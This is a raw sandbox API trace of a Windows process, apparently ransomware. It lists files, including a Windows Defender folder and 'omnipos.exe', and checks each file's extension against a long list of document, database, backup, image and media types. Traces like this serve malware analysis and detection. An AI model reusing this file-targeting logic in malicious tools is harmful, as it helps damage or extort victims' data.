	[0179.528] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0179.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\Offline\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0179.529] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.529] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a0eddf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a0eddf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a0eddf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x261a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0179.529] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x269e8b6c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x269e8b6c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x269e8b6c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x161a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1
	[0179.529] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x269e8b6c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x269e8b6c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x269e8b6c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1
	[0179.530] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe", cAlternateFileName="")) returned 1
	[0179.530] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe", cAlternateFileName="")) returned 0
	[0179.530] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0179.530] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0179.530] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449db860, ftCreationTime.dwHighDateTime=0x1d5612c, ftLastAccessTime.dwLowDateTime=0x6a5ddf50, ftLastAccessTime.dwHighDateTime=0x1d59d02, ftLastWriteTime.dwLowDateTime=0x6a5ddf50, ftLastWriteTime.dwHighDateTime=0x1d59d02, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="omnipos.exe", cAlternateFileName="")) returned 1
	[0179.530] lstrlenW (lpString="omnipos.exe") returned 11
	[0179.530] lstrlenW (lpString=".1cd") returned 4
	[0179.530] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0179.530] lstrlenW (lpString=".3ds") returned 4
	[0179.530] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0179.530] lstrlenW (lpString=".3fr") returned 4
	[0179.530] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0179.530] lstrlenW (lpString=".3g2") returned 4
	[0179.530] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0179.530] lstrlenW (lpString=".3gp") returned 4
	[0179.530] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0179.530] lstrlenW (lpString=".7z") returned 3
	[0179.530] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0179.530] lstrlenW (lpString=".accda") returned 6
	[0179.530] lstrcmpiW (lpString1=".accda", lpString2="os.exe") returned -1
	[0179.530] lstrlenW (lpString=".accdb") returned 6
	[0179.530] lstrcmpiW (lpString1=".accdb", lpString2="os.exe") returned -1
	[0179.530] lstrlenW (lpString=".accdc") returned 6
	[0179.530] lstrcmpiW (lpString1=".accdc", lpString2="os.exe") returned -1
	[0179.530] lstrlenW (lpString=".accde") returned 6
	[0179.531] lstrcmpiW (lpString1=".accde", lpString2="os.exe") returned -1
	[0179.531] lstrlenW (lpString=".accdt") returned 6
	[0179.531] lstrcmpiW (lpString1=".accdt", lpString2="os.exe") returned -1
	[0179.531] lstrlenW (lpString=".accdw") returned 6
	[0179.531] lstrcmpiW (lpString1=".accdw", lpString2="os.exe") returned -1
	[0179.531] lstrlenW (lpString=".adb") returned 4
	[0179.531] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".adp") returned 4
	[0179.531] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".ai") returned 3
	[0179.531] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0179.531] lstrlenW (lpString=".ai3") returned 4
	[0179.531] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".ai4") returned 4
	[0179.531] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".ai5") returned 4
	[0179.531] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".ai6") returned 4
	[0179.531] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".ai7") returned 4
	[0179.531] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".ai8") returned 4
	[0179.531] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".anim") returned 5
	[0179.531] lstrcmpiW (lpString1=".anim", lpString2="s.exe") returned -1
	[0179.531] lstrlenW (lpString=".arw") returned 4
	[0179.531] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".as") returned 3
	[0179.531] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0179.531] lstrlenW (lpString=".asa") returned 4
	[0179.531] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".asc") returned 4
	[0179.531] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".ascx") returned 5
	[0179.531] lstrcmpiW (lpString1=".ascx", lpString2="s.exe") returned -1
	[0179.531] lstrlenW (lpString=".asm") returned 4
	[0179.531] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0179.531] lstrlenW (lpString=".asmx") returned 5
	[0179.532] lstrcmpiW (lpString1=".asmx", lpString2="s.exe") returned -1
	[0179.532] lstrlenW (lpString=".asp") returned 4
	[0179.532] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0179.532] lstrlenW (lpString=".aspx") returned 5
	[0179.532] lstrcmpiW (lpString1=".aspx", lpString2="s.exe") returned -1
	[0179.532] lstrlenW (lpString=".asr") returned 4
	[0179.532] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0179.532] lstrlenW (lpString=".asx") returned 4
	[0179.532] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0179.532] lstrlenW (lpString=".avi") returned 4
	[0179.534] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0179.534] lstrlenW (lpString=".avs") returned 4
	[0179.534] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0179.534] lstrlenW (lpString=".backup") returned 7
	[0179.534] lstrcmpiW (lpString1=".backup", lpString2="pos.exe") returned -1
	[0179.534] lstrlenW (lpString=".bak") returned 4
	[0179.534] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0179.534] lstrlenW (lpString=".bay") returned 4
	[0179.534] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0179.534] lstrlenW (lpString=".bd") returned 3
	[0179.534] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0179.534] lstrlenW (lpString=".bin") returned 4
	[0179.534] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0179.534] lstrlenW (lpString=".bmp") returned 4
	[0179.534] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0179.534] lstrlenW (lpString=".bz2") returned 4
	[0179.534] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0179.534] lstrlenW (lpString=".c") returned 2
	[0179.534] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0179.535] lstrlenW (lpString=".cdr") returned 4
	[0179.535] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".cer") returned 4
	[0179.535] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".cf") returned 3
	[0179.535] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0179.535] lstrlenW (lpString=".cfc") returned 4
	[0179.535] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".cfm") returned 4
	[0179.535] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".cfml") returned 5
	[0179.535] lstrcmpiW (lpString1=".cfml", lpString2="s.exe") returned -1
	[0179.535] lstrlenW (lpString=".cfu") returned 4
	[0179.535] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".chm") returned 4
	[0179.535] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".cin") returned 4
	[0179.535] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".class") returned 6
	[0179.535] lstrcmpiW (lpString1=".class", lpString2="os.exe") returned -1
	[0179.535] lstrlenW (lpString=".clx") returned 4
	[0179.535] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".config") returned 7
	[0179.535] lstrcmpiW (lpString1=".config", lpString2="pos.exe") returned -1
	[0179.535] lstrlenW (lpString=".cpp") returned 4
	[0179.535] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".cr2") returned 4
	[0179.535] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".crt") returned 4
	[0179.535] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".crw") returned 4
	[0179.535] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0179.535] lstrlenW (lpString=".cs") returned 3
	[0179.535] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0179.535] lstrlenW (lpString=".css") returned 4
	[0179.536] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".csv") returned 4
	[0179.536] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".cub") returned 4
	[0179.536] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".dae") returned 4
	[0179.536] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".dat") returned 4
	[0179.536] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".db") returned 3
	[0179.536] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0179.536] lstrlenW (lpString=".dbf") returned 4
	[0179.536] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".dbx") returned 4
	[0179.536] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".dc3") returned 4
	[0179.536] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".dcm") returned 4
	[0179.536] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".dcr") returned 4
	[0179.536] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".der") returned 4
	[0179.536] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".dib") returned 4
	[0179.536] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".dic") returned 4
	[0179.536] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".dif") returned 4
	[0179.536] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0179.536] lstrlenW (lpString=".divx") returned 5
	[0179.536] lstrcmpiW (lpString1=".divx", lpString2="s.exe") returned -1
	[0179.536] lstrlenW (lpString=".djvu") returned 5
	[0179.537] lstrcmpiW (lpString1=".djvu", lpString2="s.exe") returned -1
	[0179.537] lstrlenW (lpString=".dng") returned 4
	[0179.537] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0179.537] lstrlenW (lpString=".doc") returned 4
	[0179.537] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0179.537] lstrlenW (lpString=".docm") returned 5
	[0179.537] lstrcmpiW (lpString1=".docm", lpString2="s.exe") returned -1
	[0179.537] lstrlenW (lpString=".docx") returned 5
	[0179.537] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0179.537] lstrlenW (lpString=".dot") returned 4
	[0179.537] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0179.537] lstrlenW (lpString=".dotm") returned 5
	[0179.537] lstrcmpiW (lpString1=".dotm", lpString2="s.exe") returned -1
	[0179.537] lstrlenW (lpString=".dotx") returned 5
	[0179.537] lstrcmpiW (lpString1=".dotx", lpString2="s.exe") returned -1
	[0179.537] lstrlenW (lpString=".dpx") returned 4
	[0179.537] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0179.537] lstrlenW (lpString=".dqy") returned 4
	[0179.537] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0179.537] lstrlenW (lpString=".dsn") returned 4
	[0179.537] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0179.537] lstrlenW (lpString=".dt") returned 3
	[0179.537] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0179.537] lstrlenW (lpString=".dtd") returned 4
	[0179.537] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0179.537] lstrlenW (lpString=".dwg") returned 4
	[0179.537] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0179.537] lstrlenW (lpString=".dwt") returned 4
	[0179.538] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0179.538] lstrlenW (lpString=".dx") returned 3
	[0179.538] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0179.538] lstrlenW (lpString=".dxf") returned 4
	[0179.538] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0179.538] lstrlenW (lpString=".edml") returned 5
	[0179.538] lstrcmpiW (lpString1=".edml", lpString2="s.exe") returned -1
	[0179.538] lstrlenW (lpString=".efd") returned 4
	[0179.538] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0179.538] lstrlenW (lpString=".elf") returned 4
	[0179.538] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0179.538] lstrlenW (lpString=".emf") returned 4
	[0179.538] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0179.538] lstrlenW (lpString=".emz") returned 4
	[0179.538] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0179.538] lstrlenW (lpString=".epf") returned 4
	[0179.538] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0179.538] lstrlenW (lpString=".eps") returned 4
	[0179.538] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0179.538] lstrlenW (lpString=".epsf") returned 5
	[0179.538] lstrcmpiW (lpString1=".epsf", lpString2="s.exe") returned -1
	[0179.538] lstrlenW (lpString=".epsp") returned 5
	[0179.538] lstrcmpiW (lpString1=".epsp", lpString2="s.exe") returned -1
	[0179.538] lstrlenW (lpString=".erf") returned 4
	[0179.538] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0179.538] lstrlenW (lpString=".exr") returned 4
	[0179.538] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0179.538] lstrlenW (lpString=".f4v") returned 4
	[0179.538] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0179.538] lstrlenW (lpString=".fido") returned 5
	[0179.538] lstrcmpiW (lpString1=".fido", lpString2="s.exe") returned -1
	[0179.538] lstrlenW (lpString=".flm") returned 4
	[0179.538] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".flv") returned 4
	[0179.539] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".frm") returned 4
	[0179.539] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".fxg") returned 4
	[0179.539] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".geo") returned 4
	[0179.539] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".gif") returned 4
	[0179.539] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".grs") returned 4
	[0179.539] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".gz") returned 3
	[0179.539] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0179.539] lstrlenW (lpString=".h") returned 2
	[0179.539] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0179.539] lstrlenW (lpString=".hdr") returned 4
	[0179.539] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".hpp") returned 4
	[0179.539] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".hta") returned 4
	[0179.539] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".htc") returned 4
	[0179.539] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".htm") returned 4
	[0179.539] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0179.539] lstrlenW (lpString=".html") returned 5
	[0179.539] lstrcmpiW (lpString1=".html", lpString2="s.exe") returned -1
	[0179.539] lstrlenW (lpString=".icb") returned 4
	[0179.540] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".ics") returned 4
	[0179.540] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".iff") returned 4
	[0179.540] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".inc") returned 4
	[0179.540] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".indd") returned 5
	[0179.540] lstrcmpiW (lpString1=".indd", lpString2="s.exe") returned -1
	[0179.540] lstrlenW (lpString=".ini") returned 4
	[0179.540] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".iqy") returned 4
	[0179.540] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".j2c") returned 4
	[0179.540] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".j2k") returned 4
	[0179.540] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".java") returned 5
	[0179.540] lstrcmpiW (lpString1=".java", lpString2="s.exe") returned -1
	[0179.540] lstrlenW (lpString=".jp2") returned 4
	[0179.540] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".jpc") returned 4
	[0179.540] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".jpe") returned 4
	[0179.540] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".jpeg") returned 5
	[0179.540] lstrcmpiW (lpString1=".jpeg", lpString2="s.exe") returned -1
	[0179.540] lstrlenW (lpString=".jpf") returned 4
	[0179.540] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".jpg") returned 4
	[0179.540] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".jpx") returned 4
	[0179.540] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0179.540] lstrlenW (lpString=".js") returned 3
	[0179.541] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0179.541] lstrlenW (lpString=".jsf") returned 4
	[0179.541] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".json") returned 5
	[0179.541] lstrcmpiW (lpString1=".json", lpString2="s.exe") returned -1
	[0179.541] lstrlenW (lpString=".jsp") returned 4
	[0179.541] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".kdc") returned 4
	[0179.541] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".kmz") returned 4
	[0179.541] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".kwm") returned 4
	[0179.541] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".lasso") returned 6
	[0179.541] lstrcmpiW (lpString1=".lasso", lpString2="os.exe") returned -1
	[0179.541] lstrlenW (lpString=".lbi") returned 4
	[0179.541] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".lgf") returned 4
	[0179.541] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".lgp") returned 4
	[0179.541] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".log") returned 4
	[0179.541] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".m1v") returned 4
	[0179.541] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".m4a") returned 4
	[0179.541] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".m4v") returned 4
	[0179.541] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".max") returned 4
	[0179.541] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0179.541] lstrlenW (lpString=".md") returned 3
	[0179.541] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0179.542] lstrlenW (lpString=".mda") returned 4
	[0179.542] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mdb") returned 4
	[0179.542] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mde") returned 4
	[0179.542] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mdf") returned 4
	[0179.542] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mdw") returned 4
	[0179.542] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mef") returned 4
	[0179.542] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mft") returned 4
	[0179.542] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mfw") returned 4
	[0179.542] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mht") returned 4
	[0179.542] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mhtml") returned 6
	[0179.542] lstrcmpiW (lpString1=".mhtml", lpString2="os.exe") returned -1
	[0179.542] lstrlenW (lpString=".mka") returned 4
	[0179.542] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mkidx") returned 6
	[0179.542] lstrcmpiW (lpString1=".mkidx", lpString2="os.exe") returned -1
	[0179.542] lstrlenW (lpString=".mkv") returned 4
	[0179.542] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mos") returned 4
	[0179.542] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mov") returned 4
	[0179.542] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mp3") returned 4
	[0179.542] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0179.542] lstrlenW (lpString=".mp4") returned 4
	[0179.542] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".mpeg") returned 5
	[0179.543] lstrcmpiW (lpString1=".mpeg", lpString2="s.exe") returned -1
	[0179.543] lstrlenW (lpString=".mpg") returned 4
	[0179.543] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".mpv") returned 4
	[0179.543] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".mrw") returned 4
	[0179.543] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".msg") returned 4
	[0179.543] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".mxl") returned 4
	[0179.543] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".myd") returned 4
	[0179.543] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".myi") returned 4
	[0179.543] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".nef") returned 4
	[0179.543] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0179.543] lstrlenW (lpString=".nrw") returned 4
